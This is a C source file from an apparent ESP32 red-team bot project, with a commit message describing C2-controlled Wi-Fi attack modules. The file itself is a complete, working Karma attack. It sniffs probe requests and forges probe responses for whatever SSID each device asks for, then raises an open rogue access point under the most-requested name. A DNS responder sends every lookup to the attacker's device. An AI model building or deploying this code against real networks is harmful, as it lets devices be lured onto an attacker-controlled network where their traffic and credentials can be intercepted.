espilon-source/espilon_bot/components/mod_redteam/rt_karma.c
Eun0us 2315979db0
Some checks failed
Discord Push Notification / notify (push) Has been cancelled
ε - Add WiFi offensive capabilities to mod_redteam
Phase 1 of v0.4.0 offensive modules:

- Promiscuous dispatcher (rt_promisc): shared IRAM callback multiplexer
  for stealth scan, karma, capture — solves single-callback ESP-IDF limit
- Attack manager (rt_attack): mutual exclusion ensuring only one
  offensive operation runs at a time
- Deauth refactored to use shared promisc dispatcher + attack lock
- Stealth passive scan migrated to promisc dispatcher
- Karma attack (rt_karma): probe request listener + probe response
  injection + rogue SoftAP with most-requested SSID + DNS responder
- WPA handshake capture (rt_capture): EAPOL frame capture via
  promiscuous DATA filter, 4-way handshake identification, optional
  deauth burst to trigger reconnection
- Kconfig: RT_BEACON, RT_KARMA, RT_CAPTURE toggle options
- 5 new C2 commands: rt_karma, rt_karma_stop, rt_karma_clients,
  rt_capture, rt_capture_stop (14 total in mod_redteam)
2026-03-01 02:08:28 +01:00

599 lines
18 KiB
C

/*
* rt_karma.c
* Karma attack — listens for WiFi probe requests in promiscuous mode,
* responds with probe responses matching the requested SSID, then
* starts a rogue SoftAP with the most-requested SSID.
*
* Self-contained: does NOT depend on mod_fakeAP. Uses its own
* minimal SoftAP + DNS responder.
*/
#include "sdkconfig.h"
#if defined(CONFIG_MODULE_REDTEAM) && defined(CONFIG_RT_KARMA)
#include <string.h>
#include <stdatomic.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_wifi.h"
#include "esp_log.h"
#include "esp_random.h"
#include "esp_timer.h"
#include "esp_netif.h"
#include "lwip/sockets.h"
#include "lwip/dns.h"
#include "esp_event.h"
#include "rt_karma.h"
#include "rt_promisc.h"
#include "rt_attack.h"
#define TAG "RT_KARMA"
/* ============================================================
* IEEE 802.11 frame helpers
* ============================================================ */
/* Management frame header (24 bytes) */
typedef struct __attribute__((packed)) {
uint16_t frame_ctrl;
uint16_t duration;
uint8_t addr1[6]; /* destination */
uint8_t addr2[6]; /* source (our BSSID) */
uint8_t addr3[6]; /* BSSID */
uint16_t seq_ctrl;
} mgmt_hdr_t;
_Static_assert(sizeof(mgmt_hdr_t) == 24, "mgmt header must be 24 bytes");
/* Probe Response fixed fields (12 bytes) */
typedef struct __attribute__((packed)) {
uint64_t timestamp;
uint16_t beacon_interval; /* 0x0064 = 100 TU */
uint16_t capability; /* 0x0421 = ESS + short preamble + short slot */
} probe_resp_fixed_t;
_Static_assert(sizeof(probe_resp_fixed_t) == 12, "probe resp fixed fields must be 12 bytes");
/* ============================================================
* State
* ============================================================ */
static atomic_bool s_active = ATOMIC_VAR_INIT(false);
static TaskHandle_t s_task = NULL;
static TaskHandle_t s_dns_task = NULL;
/* Our fake BSSID (generated at start) */
static uint8_t s_bssid[6];
/* Client tracking — circular buffer */
static rt_karma_client_t s_clients[RT_KARMA_MAX_CLIENTS];
static int s_client_count = 0;
/* Most popular SSID for SoftAP */
static char s_top_ssid[33] = {0};
/* SoftAP netif handle */
static esp_netif_t *s_ap_netif = NULL;
/* ============================================================
* Client tracking
* ============================================================ */
static int find_client(const uint8_t mac[6])
{
for (int i = 0; i < s_client_count; i++) {
if (memcmp(s_clients[i].mac, mac, 6) == 0)
return i;
}
return -1;
}
static void track_client(const uint8_t mac[6], const char *ssid)
{
int64_t now = esp_timer_get_time() / 1000;
int idx = find_client(mac);
if (idx >= 0) {
/* Update existing */
s_clients[idx].last_seen_ms = now;
if (ssid[0] && strcmp(s_clients[idx].ssid, ssid) != 0) {
strncpy(s_clients[idx].ssid, ssid, 32);
s_clients[idx].ssid[32] = '\0';
}
return;
}
/* Add new — circular overwrite if full */
idx = s_client_count;
if (idx >= RT_KARMA_MAX_CLIENTS) {
idx = 0; /* overwrite oldest */
/* Shift is expensive; just overwrite slot 0 for simplicity */
} else {
s_client_count++;
}
memcpy(s_clients[idx].mac, mac, 6);
strncpy(s_clients[idx].ssid, ssid, 32);
s_clients[idx].ssid[32] = '\0';
s_clients[idx].first_seen_ms = now;
s_clients[idx].last_seen_ms = now;
s_clients[idx].connected = false;
ESP_LOGI(TAG, "New probe from %02X:%02X:%02X:%02X:%02X:%02X for '%s'",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], ssid);
}
/* ============================================================
* Build and send probe response
* ============================================================ */
static void send_probe_response(const uint8_t dst[6], const char *ssid, uint8_t channel)
{
size_t ssid_len = strlen(ssid);
if (ssid_len > 32) ssid_len = 32;
/* Supported rates IE (mandatory) */
static const uint8_t rates[] = { 0x82, 0x84, 0x8B, 0x96,
0x0C, 0x12, 0x18, 0x24 };
/* Frame layout:
* mgmt_hdr(24) + fixed(12) + SSID IE(2+len) + rates IE(2+8) + DS IE(2+1) */
size_t frame_len = sizeof(mgmt_hdr_t) + sizeof(probe_resp_fixed_t)
+ 2 + ssid_len + 2 + sizeof(rates) + 2 + 1;
uint8_t frame[128]; /* max needed ~80 bytes */
if (frame_len > sizeof(frame)) return;
memset(frame, 0, sizeof(frame));
/* Header: probe response = type 0, subtype 5 → frame_ctrl = 0x0050 */
mgmt_hdr_t *hdr = (mgmt_hdr_t *)frame;
hdr->frame_ctrl = 0x0050;
memcpy(hdr->addr1, dst, 6);
memcpy(hdr->addr2, s_bssid, 6);
memcpy(hdr->addr3, s_bssid, 6);
/* Fixed fields */
probe_resp_fixed_t *fixed = (probe_resp_fixed_t *)(frame + sizeof(mgmt_hdr_t));
fixed->timestamp = 0; /* driver fills this */
fixed->beacon_interval = 0x0064; /* 100 TU */
fixed->capability = 0x0421; /* ESS + short preamble + short slot */
/* Tagged parameters */
uint8_t *ie = frame + sizeof(mgmt_hdr_t) + sizeof(probe_resp_fixed_t);
/* SSID IE (tag 0) */
*ie++ = 0x00;
*ie++ = (uint8_t)ssid_len;
memcpy(ie, ssid, ssid_len);
ie += ssid_len;
/* Supported rates IE (tag 1) */
*ie++ = 0x01;
*ie++ = sizeof(rates);
memcpy(ie, rates, sizeof(rates));
ie += sizeof(rates);
/* DS Parameter Set IE (tag 3) — current channel */
*ie++ = 0x03;
*ie++ = 0x01;
*ie++ = channel;
esp_wifi_80211_tx(WIFI_IF_STA, frame, frame_len, false);
}
/* ============================================================
* Promiscuous callback — capture probe requests
* ============================================================ */
static void IRAM_ATTR karma_promisc_cb(void *buf, wifi_promiscuous_pkt_type_t type)
{
if (type != WIFI_PKT_MGMT) return;
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
const uint8_t *payload = pkt->payload;
/* Frame control */
uint16_t fc = payload[0] | (payload[1] << 8);
uint8_t subtype = (fc >> 4) & 0x0F;
/* Probe request = type 0 (mgmt), subtype 4 */
if (subtype != 4) return;
/* Extract source MAC (addr2, offset 10) */
const uint8_t *src_mac = payload + 10;
/* Skip our own BSSID */
if (memcmp(src_mac, s_bssid, 6) == 0) return;
/* Parse SSID IE from body (offset 24 for mgmt frames) */
size_t body_start = 24;
size_t pkt_len = pkt->rx_ctrl.sig_len;
if (pkt_len > 4) pkt_len -= 4; /* strip FCS */
if (pkt_len <= body_start + 2) return;
const uint8_t *body = payload + body_start;
size_t body_len = pkt_len - body_start;
/* First IE should be SSID (tag 0) */
if (body[0] != 0x00) return;
uint8_t ssid_len = body[1];
if (ssid_len == 0 || ssid_len > 32) return; /* skip broadcast probes */
if (2 + ssid_len > body_len) return;
char ssid[33];
memcpy(ssid, body + 2, ssid_len);
ssid[ssid_len] = '\0';
/* Track this client */
track_client(src_mac, ssid);
/* Respond with a probe response matching their SSID */
send_probe_response(src_mac, ssid, pkt->rx_ctrl.channel);
}
/* Handler for the promiscuous dispatcher */
static const rt_promisc_handler_t s_karma_handler = {
.cb = karma_promisc_cb,
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT,
.tag = "karma",
};
/* ============================================================
* Mini DNS responder — responds our AP IP for all queries
* ============================================================ */
static void dns_responder_task(void *arg)
{
(void)arg;
int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (sock < 0) {
ESP_LOGE(TAG, "DNS socket failed");
vTaskDelete(NULL);
return;
}
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(53),
.sin_addr.s_addr = INADDR_ANY,
};
int opt = 1;
setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
ESP_LOGE(TAG, "DNS bind failed");
close(sock);
vTaskDelete(NULL);
return;
}
/* Our AP IP = 192.168.4.1 */
uint8_t ap_ip[4] = {192, 168, 4, 1};
uint8_t buf[512];
struct sockaddr_in client_addr;
socklen_t client_len;
while (atomic_load(&s_active)) {
client_len = sizeof(client_addr);
int n = recvfrom(sock, buf, sizeof(buf), 0,
(struct sockaddr *)&client_addr, &client_len);
if (n < 12) continue; /* too short for DNS header */
/* Build a minimal DNS response:
* - Copy transaction ID
* - Set flags: response + recursion available
* - Copy the question section
* - Append a single A record answer
*/
uint8_t resp[512];
int resp_len = 0;
/* Transaction ID (2 bytes) */
resp[0] = buf[0];
resp[1] = buf[1];
/* Flags: standard response, no error */
resp[2] = 0x81; /* QR=1, RD=1 */
resp[3] = 0x80; /* RA=1 */
/* Questions: 1, Answers: 1, Authority: 0, Additional: 0 */
resp[4] = 0x00; resp[5] = 0x01; /* QDCOUNT */
resp[6] = 0x00; resp[7] = 0x01; /* ANCOUNT */
resp[8] = 0x00; resp[9] = 0x00; /* NSCOUNT */
resp[10] = 0x00; resp[11] = 0x00; /* ARCOUNT */
resp_len = 12;
/* Copy the question section from the request */
int q_start = 12;
int q_pos = q_start;
/* Walk past the QNAME (labels terminated by 0x00) */
while (q_pos < n && buf[q_pos] != 0x00) {
q_pos += 1 + buf[q_pos]; /* skip label */
}
q_pos++; /* skip the 0x00 terminator */
q_pos += 4; /* skip QTYPE(2) + QCLASS(2) */
int q_len = q_pos - q_start;
if (resp_len + q_len > (int)sizeof(resp) - 16) {
continue; /* too long */
}
memcpy(resp + resp_len, buf + q_start, q_len);
resp_len += q_len;
/* Answer: pointer to QNAME + A record */
resp[resp_len++] = 0xC0; /* name pointer */
resp[resp_len++] = 0x0C; /* offset 12 = start of question */
resp[resp_len++] = 0x00; resp[resp_len++] = 0x01; /* TYPE A */
resp[resp_len++] = 0x00; resp[resp_len++] = 0x01; /* CLASS IN */
resp[resp_len++] = 0x00; resp[resp_len++] = 0x00;
resp[resp_len++] = 0x00; resp[resp_len++] = 0x3C; /* TTL = 60s */
resp[resp_len++] = 0x00; resp[resp_len++] = 0x04; /* RDLENGTH = 4 */
memcpy(resp + resp_len, ap_ip, 4);
resp_len += 4;
sendto(sock, resp, resp_len, 0,
(struct sockaddr *)&client_addr, client_len);
}
close(sock);
s_dns_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Find the most-requested SSID
* ============================================================ */
static void find_top_ssid(void)
{
/* Simple frequency count on client SSIDs */
typedef struct { char ssid[33]; int count; } freq_t;
freq_t freq[RT_KARMA_MAX_CLIENTS];
int freq_count = 0;
for (int i = 0; i < s_client_count; i++) {
if (s_clients[i].ssid[0] == '\0') continue;
bool found = false;
for (int j = 0; j < freq_count; j++) {
if (strcmp(freq[j].ssid, s_clients[i].ssid) == 0) {
freq[j].count++;
found = true;
break;
}
}
if (!found && freq_count < RT_KARMA_MAX_CLIENTS) {
strncpy(freq[freq_count].ssid, s_clients[i].ssid, 32);
freq[freq_count].ssid[32] = '\0';
freq[freq_count].count = 1;
freq_count++;
}
}
/* Find max */
int max_count = 0;
for (int i = 0; i < freq_count; i++) {
if (freq[i].count > max_count) {
max_count = freq[i].count;
strncpy(s_top_ssid, freq[i].ssid, 32);
s_top_ssid[32] = '\0';
}
}
}
/* ============================================================
* Start SoftAP with the top SSID
* ============================================================ */
static esp_err_t start_rogue_ap(const char *ssid)
{
/* Switch to AP+STA mode */
esp_err_t ret = esp_wifi_set_mode(WIFI_MODE_APSTA);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "Failed to set APSTA mode: %s", esp_err_to_name(ret));
return ret;
}
/* Create AP netif if needed */
if (!s_ap_netif) {
s_ap_netif = esp_netif_create_default_wifi_ap();
}
wifi_config_t ap_cfg = {
.ap = {
.channel = 1,
.max_connection = 4,
.authmode = WIFI_AUTH_OPEN,
},
};
strncpy((char *)ap_cfg.ap.ssid, ssid, sizeof(ap_cfg.ap.ssid) - 1);
ap_cfg.ap.ssid_len = strlen(ssid);
ret = esp_wifi_set_config(WIFI_IF_AP, &ap_cfg);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "AP config failed: %s", esp_err_to_name(ret));
return ret;
}
ESP_LOGI(TAG, "Rogue AP started: SSID='%s'", ssid);
return ESP_OK;
}
static void stop_rogue_ap(void)
{
esp_wifi_set_mode(WIFI_MODE_STA);
ESP_LOGI(TAG, "Rogue AP stopped");
}
/* ============================================================
* Main karma task
* ============================================================ */
static void karma_task(void *arg)
{
uint32_t duration_s = (uint32_t)(uintptr_t)arg;
/* Generate a random locally-administered BSSID */
esp_fill_random(s_bssid, 6);
s_bssid[0] &= 0xFE; /* unicast */
s_bssid[0] |= 0x02; /* locally administered */
/* Reset client list */
s_client_count = 0;
memset(s_clients, 0, sizeof(s_clients));
s_top_ssid[0] = '\0';
/* Register with promiscuous dispatcher */
esp_err_t ret = rt_promisc_register(&s_karma_handler);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "Promisc register failed");
rt_attack_stop();
atomic_store(&s_active, false);
s_task = NULL;
vTaskDelete(NULL);
return;
}
rt_promisc_enable();
ESP_LOGI(TAG, "Karma listening (BSSID=%02X:%02X:%02X:%02X:%02X:%02X, duration=%s)",
s_bssid[0], s_bssid[1], s_bssid[2],
s_bssid[3], s_bssid[4], s_bssid[5],
duration_s ? "timed" : "continuous");
/* Phase 1: Listen for probes (5s or until we have clients) */
int listen_ms = 5000;
int elapsed = 0;
while (atomic_load(&s_active) && elapsed < listen_ms) {
vTaskDelay(pdMS_TO_TICKS(500));
elapsed += 500;
}
if (!atomic_load(&s_active)) goto cleanup;
/* Phase 2: Start rogue AP with the most-requested SSID */
if (s_client_count > 0) {
find_top_ssid();
if (s_top_ssid[0]) {
start_rogue_ap(s_top_ssid);
/* Start DNS responder */
xTaskCreatePinnedToCore(dns_responder_task, "karma_dns",
3072, NULL, 5, &s_dns_task, 1);
}
} else {
ESP_LOGI(TAG, "No probes captured, continuing to listen...");
}
/* Phase 3: Keep running — continue responding to probes */
if (duration_s > 0) {
uint32_t remaining_ms = (duration_s * 1000) - elapsed;
uint32_t waited = 0;
while (atomic_load(&s_active) && waited < remaining_ms) {
vTaskDelay(pdMS_TO_TICKS(1000));
waited += 1000;
/* Periodically update the AP SSID if a new top SSID emerges */
if (waited % 10000 == 0 && s_client_count > 0) {
char old[33];
strncpy(old, s_top_ssid, 32);
old[32] = '\0';
find_top_ssid();
if (s_top_ssid[0] && strcmp(old, s_top_ssid) != 0) {
start_rogue_ap(s_top_ssid);
}
}
}
} else {
/* Continuous mode */
while (atomic_load(&s_active)) {
vTaskDelay(pdMS_TO_TICKS(1000));
/* Update AP SSID every 10s if needed */
static uint32_t ticker = 0;
ticker++;
if (ticker % 10 == 0 && s_client_count > 0) {
char old[33];
strncpy(old, s_top_ssid, 32);
old[32] = '\0';
find_top_ssid();
if (s_top_ssid[0] && strcmp(old, s_top_ssid) != 0) {
start_rogue_ap(s_top_ssid);
}
}
}
}
cleanup:
/* Stop DNS responder */
if (s_dns_task) {
/* dns task checks s_active and will exit */
vTaskDelay(pdMS_TO_TICKS(200));
}
rt_promisc_unregister(&s_karma_handler);
rt_promisc_disable();
stop_rogue_ap();
rt_attack_stop();
ESP_LOGI(TAG, "Karma stopped: %d clients tracked", s_client_count);
atomic_store(&s_active, false);
s_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
void rt_karma_start(uint32_t duration_s)
{
if (atomic_load(&s_active)) {
ESP_LOGW(TAG, "Karma already running");
return;
}
if (rt_attack_start(RT_ATTACK_KARMA) != ESP_OK) {
ESP_LOGW(TAG, "Cannot start: another attack running (%s)",
rt_attack_name());
return;
}
atomic_store(&s_active, true);
xTaskCreatePinnedToCore(
karma_task,
"rt_karma",
6144,
(void *)(uintptr_t)duration_s,
6,
&s_task,
1 /* Core 1 */
);
}
void rt_karma_stop(void)
{
atomic_store(&s_active, false);
}
bool rt_karma_is_active(void)
{
return atomic_load(&s_active);
}
int rt_karma_get_clients(rt_karma_client_t *out, int max_count)
{
int count = s_client_count;
if (count > max_count) count = max_count;
memcpy(out, s_clients, count * sizeof(rt_karma_client_t));
return count;
}
#endif /* CONFIG_MODULE_REDTEAM && CONFIG_RT_KARMA */